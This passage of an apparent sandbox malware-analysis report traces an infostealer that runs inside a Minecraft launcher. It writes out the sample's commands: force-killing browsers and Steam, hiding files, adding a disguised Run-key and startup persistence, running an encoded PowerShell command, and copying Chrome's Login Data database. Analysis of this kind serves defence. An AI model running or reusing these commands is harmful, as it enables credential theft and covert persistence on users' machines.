-33.5.0-jre.jar;C:\Users\Admin\AppData\Roaming\.minecraft\libraries\com\ibm\icu\icu4j\77.1\icu4j-77.1.jar;C:\Users\Admin\AppData\Roaming\.minecraft\libraries\com\microsoft\azure\msal4j\1.23.1\msal4j-1.23.1.jar;C:\Users\Admin\AppData\Roaming\.minecraft\libraries\org\tlauncher\authlib\7.0.619\authlib-7.0.619.jar;C:\Users\Admin\AppData\Roaming\.minecraft\libraries\com\mojang\blocklist\1.0.10\blocklist-1.0.10.jar;C:\Users\Admin\AppData\Roaming\.minecraft\libraries\com\mojang\brigadier\1.3.10\brigadier-1.3.10.jar;C:\Users\Admin\AppData\Roaming\.minecraft\libraries\com\mojang\datafixerupper\9.0.19\datafixerupper-9.0.19.jar;C:\Users\Admin\AppData\Roaming\.minecraft\libraries\com\mojang\jtracy\1.0.37\jtracy-1.0.37.jar;C:\Users\Admin\AppData\Roaming\.minecraft\libraries\com\mojang\jtracy\1.0.37\jtracy-1.0.37-natives-windows.jar;C:\Users\Admin\AppData\Roaming\.minecraft\libraries\com\mojang\logging\1.6.11\logging-1.6.11.jar;C:\Users\Admin\AppData\Roaming\.minecraft\libraries\org\tlauncher\patchy\2.2.101\patchy-2.2.101.jar;C:\Users\Admin\AppData\Roaming\.minecraft\libraries\com\mojang\text2speech\1.18.11\text2speech-1.18.11.jar;C:\Users\Admin\AppData\Roaming\.minecraft\libraries\commons-codec\commons-codec\1.19.0\commons-codec-1.19.0.jar;C:\Users\Admin\AppData\Roaming\.minecraft\libraries\commons-io\commons-io\2.20.0\commons-io-2.20.0.jar;C:\Users\Admin\AppData\Roaming\.minecraft\libraries\io\netty\netty-buffer\4.2.7.Final\netty-buffer-4.2.7.Final.jar;C:\Users\Admin\AppData\Roaming\.minecraft\libraries\io\netty\netty-codec-base\4.2.7.Final\netty-codec-base-4.2.7.Final.jar;C:\Users\Admin\AppData\Roaming\.minecraft\libraries\io\netty\netty-codec-compression\4.2.7.Final\netty-codec-compression-4.2.7.Final.jar;C:\Users\Admin\AppData\Roaming\.minecraft\libraries\io\netty\netty-codec-http\4.2.7.Final\netty-codec-http-4.2.7.Final.jar;C:\Users\Admin\AppData\Roaming\.minecraft\libraries\io\netty\netty-common\4.2.7.Final\netty-common-4.2.7.Final.jar;C:\Users\Admin\AppData\Roaming\.minecraft\libraries\io\netty\netty-handler\4.2.7.Final\netty-handler-4.2.7.Final.jar;C:\Users\Admin\AppData\Roaming\.minecraft\libraries\io\netty\netty-resolver\4.2.7.Final\netty-resolver-4.2.7.Final.jar;C:\Users\Admin\AppData\Roaming\.minecraft\libraries\io\netty\netty-transport-classes-epoll\4.2.7.Final\netty-transport-classes-epoll-4.2.7.Final.jar;C:\Users\Admin\AppData\Roaming\.minecraft\libraries\io\netty\netty-transport-classes-kqueue\4.2.7.Final\netty-transport-classes-kqueue-4.2.7.Final.jar;C:\Users\Admin\AppData\Roaming\.minecraft\libraries\io\netty\netty-transport-native-unix-common\4.2.7.Final\netty-transport-native-unix-common-4.2.7.Final.jar;C:\Users\Admin\AppData\Roaming\.minecraft\libraries\io\netty\netty-transport\4.2.7.Final\netty-transport-4.2.7.Final.jar;C:\Users\Admin\AppData\Roaming\.minecraft\libraries\it\unimi\dsi\fastutil\8.5.18\fastutil-8.5.18.jar;C:\Users\Admin\AppData\Roaming\.minecraft\libraries\net\java\dev\jna\jna-platform\5.17.0\jna-platform-5.17.0.jar;C:\Users\Admin\AppData\Roaming\.minecraft\libraries\net\java\dev\jna\jna\5.17.0\jna-5.17.0.jar;C:\Users\Admin\AppData\Roaming\.minecraft\libraries\net\sf\jopt-simple\jopt-simple\5.0.4\jopt-simple-5.0.4.jar;C:\Users\Admin\AppData\Roaming\.minecraft\libraries\org\apache\commons\commons-compress\1.28.0\commons-compress-1.28.0.jar;C:\Users\Admin\AppData\Roaming\.minecraft\libraries\org\apache\commons\commons-lang3\3.19.0\commons-lang3-3.19.0.jar;C:\Users\Admin\AppData\Roaming\.minecraft\libraries\org\apache\logging\log4j\log4j-api\2.25.2\log4j-api-2.25.2.jar;C:\Users\Admin\AppData\Roaming\.minecraft\libraries\org\apache\logging\log4j\log4j-core\2.25.2\log4j-core-2.25.2.jar;C:\Users\Admin\AppData\Roaming\.minecraft\libraries\org\apache\logging\log4j\log4j-slf4j2-impl\2.25.2\log4j-slf4j2-impl-2.25.2.jar;C:\Users\Admin\AppData\Roaming\.minecraft\libraries\org\jcraft\jorbis\0.0.17\jorbis-0.0.17.jar;C:\Users\Admin\AppData\Roaming\.minecraft\libraries\org\joml\joml\1.10.8\joml-1.10.8.jar;C:\Users\Admin\AppData\Roaming\.minecraft\libraries\org\jspecify\jspecify\1.0.0\jspecify-1.0.0.jar;C:\Users\Admin\AppData\Roaming\.minecraft\libraries\org\lwjgl\lwjgl-freetype\3.3.3\lwjgl-freetype-3.3.3.jar;C:\Users\Admin\AppData\Roaming\.minecraft\libraries\org\lwjgl\lwjgl-freetype\3.3.3\lwjgl-freetype-3.3.3-natives-windows.jar;C:\Users\Admin\AppData\Roaming\.minecraft\libraries\org\lwjgl\lwjgl-freetype\3.3.3\lwjgl-freetype-3.3.3-natives-windows-arm64.jar;C:\Users\Admin\AppData\Roaming\.minecraft\libraries\org\lwjgl\lwjgl-freetype\3.3.3\lwjgl-freetype-3.3.3-natives-windows-x86.jar;C:\Users\Admin\AppData\Roaming\.minecraft\libraries\org\lwjgl\lwjgl-glfw\3.3.3\lwjgl-glfw-3.3.3.jar;C:\Users\Admin\AppData\Roaming\.minecraft\libraries\org\lwjgl\lwjgl-glfw\3.3.3\lwjgl-glfw-3.3.3-natives-windows.jar;C:\Users\Admin\AppData\Roaming\.minecraft\libraries\org\lwjgl\lwjgl-glfw\3.3.3\lwjgl-glfw-3.3.3-natives-windows-arm64.jar;C:\Users\Admin\AppData\Roaming\.minecraft\libraries\org\lwjgl\lwjgl-glfw\3.3.3\lwjgl-glfw-3.3.3-natives-windows-x86.jar;C:\Users\Admin\AppData\Roaming\.minecraft\libraries\org\lwjgl\lwjgl-jemalloc\3.3.3\lwjgl-jemalloc-3.3.3.jar;C:\Users\Admin\AppData\Roaming\.minecraft\libraries\org\lwjgl\lwjgl-jemalloc\3.3.3\lwjgl-jemalloc-3.3.3-natives-windows.jar;C:\Users\Admin\AppData\Roaming\.minecraft\libraries\org\lwjgl\lwjgl-jemalloc\3.3.3\lwjgl-jemalloc-3.3.3-natives-windows-arm64.jar;C:\Users\Admin\AppData\Roaming\.minecraft\libraries\org\lwjgl\lwjgl-jemalloc\3.3.3\lwjgl-jemalloc-3.3.3-natives-windows-x86.jar;C:\Users\Admin\AppData\Roaming\.minecraft\libraries\org\lwjgl\lwjgl-openal\3.3.3\lwjgl-openal-3.3.3.jar;C:\Users\Admin\AppData\Roaming\.minecraft\libraries\org\lwjgl\lwjgl-openal\3.3.3\lwjgl-openal-3.3.3-natives-windows.jar;C:\Users\Admin\AppData\Roaming\.minecraft\libraries\org\lwjgl\lwjgl-openal\3.3.3\lwjgl-openal-3.3.3-natives-windows-arm64.jar;C:\Users\Admin\AppData\Roaming\.minecraft\libraries\org\lwjgl\lwjgl-openal\3.3.3\lwjgl-openal-3.3.3-natives-windows-x86.jar;C:\Users\Admin\AppData\Roaming\.minecraft\libraries\org\lwjgl\lwjgl-opengl\3.3.3\lwjgl-opengl-3.3.3.jar;C:\Users\Admin\AppData\Roaming\.minecraft\libraries\org\lwjgl\lwjgl-opengl\3.3.3\lwjgl-opengl-3.3.3-natives-windows.jar;C:\Users\Admin\AppData\Roaming\.minecraft\libraries\org\lwjgl\lwjgl-opengl\3.3.3\lwjgl-opengl-3.3.3-natives-windows-arm64.jar;C:\Users\Admin\AppData\Roaming\.minecraft\libraries\org\lwjgl\lwjgl-opengl\3.3.3\lwjgl-opengl-3.3.3-natives-windows-x86.jar;C:\Users\Admin\AppData\Roaming\.minecraft\libraries\org\lwjgl\lwjgl-stb\3.3.3\lwjgl-stb-3.3.3.jar;C:\Users\Admin\AppData\Roaming\.minecraft\libraries\org\lwjgl\lwjgl-stb\3.3.3\lwjgl-stb-3.3.3-natives-windows.jar;C:\Users\Admin\AppData\Roaming\.minecraft\libraries\org\lwjgl\lwjgl-stb\3.3.3\lwjgl-stb-3.3.3-natives-windows-arm64.jar;C:\Users\Admin\AppData\Roaming\.minecraft\libraries\org\lwjgl\lwjgl-stb\3.3.3\lwjgl-stb-3.3.3-natives-windows-x86.jar;C:\Users\Admin\AppData\Roaming\.minecraft\libraries\org\lwjgl\lwjgl-tinyfd\3.3.3\lwjgl-tinyfd-3.3.3.jar;C:\Users\Admin\AppData\Roaming\.minecraft\libraries\org\lwjgl\lwjgl-tinyfd\3.3.3\lwjgl-tinyfd-3.3.3-natives-windows.jar;C:\Users\Admin\AppData\Roaming\.minecraft\libraries\org\lwjgl\lwjgl-tinyfd\3.3.3\lwjgl-tinyfd-3.3.3-natives-windows-arm64.jar;C:\Users\Admin\AppData\Roaming\.minecraft\libraries\org\lwjgl\lwjgl-tinyfd\3.3.3\lwjgl-tinyfd-3.3.3-natives-windows-x86.jar;C:\Users\Admin\AppData\Roaming\.minecraft\libraries\org\lwjgl\lwjgl\3.3.3\lwjgl-3.3.3.jar;C:\Users\Admin\AppData\Roaming\.minecraft\libraries\org\lwjgl\lwjgl\3.3.3\lwjgl-3.3.3-natives-windows.jar;C:\Users\Admin\AppData\Roaming\.minecraft\libraries\org\lwjgl\lwjgl\3.3.3\lwjgl-3.3.3-natives-windows-arm64.jar;C:\Users\Admin\AppData\Roaming\.minecraft\libraries\org\lwjgl\lwjgl\3.3.3\lwjgl-3.3.3-natives-windows-x86.jar;C:\Users\Admin\AppData\Roaming\.minecraft\libraries\org\slf4j\slf4j-api\2.0.17\slf4j-api-2.0.17.jar;C:\Users\Admin\AppData\Roaming\.minecraft\versions\Fabric 1.21.11\Fabric 1.21.11.jar" "-DFabricMcEmu= net.minecraft.client.main.Main " -Dminecraft.applet.TargetDirectory=C:\Users\Admin\AppData\Roaming\.minecraft -DlibraryDirectory=C:\Users\Admin\AppData\Roaming\.minecraft\libraries -Dcountry=${country} -Dlog4j.configurationFile=C:\Users\Admin\AppData\Roaming\.minecraft\assets\log_configs\client-1.21.2.xml net.fabricmc.loader.impl.launch.knot.KnotClient --username macacaoaoo2o31 --version "Fabric 1.21.11" --gameDir C:\Users\Admin\AppData\Roaming\.minecraft --assetsDir C:\Users\Admin\AppData\Roaming\.minecraft\assets --assetIndex 29 --uuid 8e88871550594e39ae1551ab376451fb --accessToken null --clientId null --xuid null --versionType modified --width 925 --height 5309⤵
- Checks computer location settings
- Executes dropped EXE
- Checks processor information in registry
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c wmic os get LastBootUpTime /value10⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic os get LastBootUpTime /value11⤵
-
-
-
C:\Windows\SYSTEM32\tasklist.exetasklist /FI "IMAGENAME eq javaws.exe" /NH10⤵
- Enumerates processes with tasklist
-
-
C:\Users\Admin\AppData\Local\Temp\javaws.exeC:\Users\Admin\AppData\Local\Temp\javaws.exe10⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\3G62xNT2uHibQsDjw9d3sah9hlK\javaws.exeC:\Users\Admin\AppData\Local\Temp\3G62xNT2uHibQsDjw9d3sah9hlK\javaws.exe11⤵
- Checks computer location settings
- Executes dropped EXE
- Checks processor information in registry
- Enumerates system info in registry
-
C:\Users\Admin\AppData\Local\Temp\3G62xNT2uHibQsDjw9d3sah9hlK\javaws.exe"C:\Users\Admin\AppData\Local\Temp\3G62xNT2uHibQsDjw9d3sah9hlK\javaws.exe" --type=gpu-process --user-data-dir="C:\Users\Admin\AppData\Roaming\javaws" --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --mojo-platform-channel-handle=1856 --field-trial-handle=1864,i,802441770237739435,7835477023491659448,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:212⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\3G62xNT2uHibQsDjw9d3sah9hlK\javaws.exe"C:\Users\Admin\AppData\Local\Temp\3G62xNT2uHibQsDjw9d3sah9hlK\javaws.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Roaming\javaws" --mojo-platform-channel-handle=2080 --field-trial-handle=1864,i,802441770237739435,7835477023491659448,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:812⤵
- Executes dropped EXE
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "tasklist /fo csv /nh"12⤵
-
C:\Windows\system32\tasklist.exetasklist /fo csv /nh13⤵
- Enumerates processes with tasklist
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM chrome.exe"12⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /IM chrome.exe13⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM brave.exe"12⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /IM brave.exe13⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM msedge.exe"12⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /IM msedge.exe13⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM firefox.exe"12⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /IM firefox.exe13⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM opera.exe"12⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /IM opera.exe13⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM vivaldi.exe"12⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /IM vivaldi.exe13⤵
- Kills process with taskkill
-
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --headless=new --no-startup-window --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --disable-extensions --disable-background-networking --window-position=-32000,-32000 --window-size=1,112⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless=new --no-startup-window --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --disable-extensions --disable-background-networking --window-position=-32000,-32000 --window-size=1,112⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /IM Steam.exe /F"12⤵
-
C:\Windows\system32\taskkill.exetaskkill /IM Steam.exe /F13⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "tasklist"12⤵
-
C:\Windows\system32\tasklist.exetasklist13⤵
- Enumerates processes with tasklist
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "cscript //nologo "C:\Users\Admin\AppData\Local\Temp\launch_1783349301879.vbs""12⤵
-
C:\Windows\system32\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\launch_1783349301879.vbs"13⤵
- Checks computer location settings
-
C:\Users\Admin\AppData\Local\Temp\sysmetrics.exe"C:\Users\Admin\AppData\Local\Temp\sysmetrics.exe" CRYBOUND-JAVA-ADVANCED-MONTHLY-C770970CB5ED14⤵
- Executes dropped EXE
- Checks processor information in registry
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "attrib +h "C:\Users\Admin\AppData\Roaming\Cry\2d9098a5.txt""15⤵
- Hide Artifacts: Hidden Files and Directories
-
C:\Windows\system32\attrib.exeattrib +h "C:\Users\Admin\AppData\Roaming\Cry\2d9098a5.txt"16⤵
- Views/modifies file attributes
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\2cc2398127.cmd""15⤵
- Hide Artifacts: Hidden Files and Directories
-
C:\Windows\system32\attrib.exeattrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\2cc2398127.cmd"16⤵
- Views/modifies file attributes
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\2cc2398127.lnk""15⤵
- Hide Artifacts: Hidden Files and Directories
-
C:\Windows\system32\attrib.exeattrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\2cc2398127.lnk"16⤵
- Views/modifies file attributes
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -WindowStyle Hidden -EncodedCommand TgBlAHcALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgAC0AUABhAHQAaAAgACcASABLAEMAVQA6AFwAUwBvAGYAdAB3AGEAcgBlAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAQwB1AHIAcgBlAG4AdABWAGUAcgBzAGkAbwBuAFwAUgB1AG4AJwAgAC0ATgBhAG0AZQAgACcAMgBjAGMAMgAzADkAOAAxADIANwAnACAALQBWAGEAbAB1AGUAIAAnACIAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABzAHkAcwBtAGUAdAByAGkAYwBzAC4AZQB4AGUAIgAgAEMAUgBZAEIATwBVAE4ARAAtAEoAQQBWAEEALQBBAEQAVgBBAE4AQwBFAEQALQBNAE8ATgBUAEgATABZAC0AQwA3ADcAMAA5ADcAMABDAEIANQBFAEQAJwAgAC0AUAByAG8AcABlAHIAdAB5AFQAeQBwAGUAIABTAHQAcgBpAG4AZwAgAC0ARgBvAHIAYwBlACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA="15⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -WindowStyle Hidden -EncodedCommand TgBlAHcALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgAC0AUABhAHQAaAAgACcASABLAEMAVQA6AFwAUwBvAGYAdAB3AGEAcgBlAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAQwB1AHIAcgBlAG4AdABWAGUAcgBzAGkAbwBuAFwAUgB1AG4AJwAgAC0ATgBhAG0AZQAgACcAMgBjAGMAMgAzADkAOAAxADIANwAnACAALQBWAGEAbAB1AGUAIAAnACIAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABzAHkAcwBtAGUAdAByAGkAYwBzAC4AZQB4AGUAIgAgAEMAUgBZAEIATwBVAE4ARAAtAEoAQQBWAEEALQBBAEQAVgBBAE4AQwBFAEQALQBNAE8ATgBUAEgATABZAC0AQwA3ADcAMAA5ADcAMABDAEIANQBFAEQAJwAgAC0AUAByAG8AcABlAHIAdAB5AFQAeQBwAGUAIABTAHQAcgBpAG4AZwAgAC0ARgBvAHIAYwBlACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA=16⤵
- Command and Scripting Interpreter: PowerShell
- Adds Run key to start application
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "attrib +h +s "C:\Users\Admin\AppData\Local\Temp\w_2cc2398127.vbs""15⤵
- Hide Artifacts: Hidden Files and Directories
-
C:\Windows\system32\attrib.exeattrib +h +s "C:\Users\Admin\AppData\Local\Temp\w_2cc2398127.vbs"16⤵
- Views/modifies file attributes
-
-
-
C:\Windows\system32\wscript.exewscript //B C:\Users\Admin\AppData\Local\Temp\w_2cc2398127.vbs15⤵
- Drops startup file
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\w_2cc2398127.vbs""15⤵
- Hide Artifacts: Hidden Files and Directories
-
C:\Windows\system32\attrib.exeattrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\w_2cc2398127.vbs"16⤵
- Views/modifies file attributes
-
-
-
C:\Windows\system32\wscript.exewscript //B C:\Users\Admin\AppData\Roaming\Microsoft\Windows\w_2cc2398127.vbs15⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\Windows\w_2cc2398127.vbs""15⤵
- Hide Artifacts: Hidden Files and Directories
-
C:\Windows\system32\attrib.exeattrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\Windows\w_2cc2398127.vbs"16⤵
- Views/modifies file attributes
-
-
-
C:\Windows\system32\wscript.exewscript //B C:\Users\Admin\AppData\Local\Microsoft\Windows\w_2cc2398127.vbs15⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "WMIC csproduct get UUID"15⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC csproduct get UUID16⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "(Get-CimInstance Win32_BaseBoard | ForEach-Object { $_.Manufacturer + ' ' + $_.Product }) -join ', '""15⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -ExecutionPolicy Bypass -Command "(Get-CimInstance Win32_BaseBoard | ForEach-Object { $_.Manufacturer + ' ' + $_.Product }) -join ', '"16⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "(Get-CimInstance Win32_VideoController | Select-Object -ExpandProperty Name) -join ', '""15⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -ExecutionPolicy Bypass -Command "(Get-CimInstance Win32_VideoController | Select-Object -ExpandProperty Name) -join ', '"16⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "(Get-CimInstance Win32_OperatingSystem).Caption""15⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -ExecutionPolicy Bypass -Command "(Get-CimInstance Win32_OperatingSystem).Caption"16⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsSecurityHealth""12⤵
-
C:\Windows\system32\reg.exereg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsSecurityHealth"13⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsSecurityHealth" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\3G62xNT2uHibQsDjw9d3sah9hlK\javaws.exe" /f"12⤵
-
C:\Windows\system32\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsSecurityHealth" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\3G62xNT2uHibQsDjw9d3sah9hlK\javaws.exe" /f13⤵
- Adds Run key to start application
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM chrome.exe"12⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /IM chrome.exe13⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM brave.exe"12⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /IM brave.exe13⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM msedge.exe"12⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /IM msedge.exe13⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM firefox.exe"12⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /IM firefox.exe13⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM opera.exe"12⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /IM opera.exe13⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM vivaldi.exe"12⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /IM vivaldi.exe13⤵
- Kills process with taskkill
-
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --headless=new --no-startup-window --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --disable-extensions --disable-background-networking --window-position=-32000,-32000 --window-size=1,112⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless=new --no-startup-window --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --disable-extensions --disable-background-networking --window-position=-32000,-32000 --window-size=1,112⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /IM Steam.exe /F"12⤵
-
C:\Windows\system32\taskkill.exetaskkill /IM Steam.exe /F13⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "tasklist"12⤵
-
C:\Windows\system32\tasklist.exetasklist13⤵
- Enumerates processes with tasklist
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsSecurityHealth""12⤵
-
C:\Windows\system32\reg.exereg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsSecurityHealth"13⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM chrome.exe"12⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /IM chrome.exe13⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM brave.exe"12⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /IM brave.exe13⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM msedge.exe"12⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /IM msedge.exe13⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM firefox.exe"12⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /IM firefox.exe13⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM opera.exe"12⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /IM opera.exe13⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM vivaldi.exe"12⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /IM vivaldi.exe13⤵
- Kills process with taskkill
-
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --headless=new --no-startup-window --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --disable-extensions --disable-background-networking --window-position=-32000,-32000 --window-size=1,112⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "robocopy C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default C:\Users\Admin\AppData\Local\Temp Login Data For Account /B /NJH /NJS /NFL /NDL /NC /NS /NP"12⤵
-
C:\Windows\system32\Robocopy.exerobocopy C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default C:\Users\Admin\AppData\Local\Temp Login Data For Account /B /NJH /NJS /NFL /NDL /NC /NS /NP13⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "esentutl.exe /y C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account /d C:\Users\Admin\AppData\Local\Temp\logins_chrome_1783349312963.db"12⤵
-
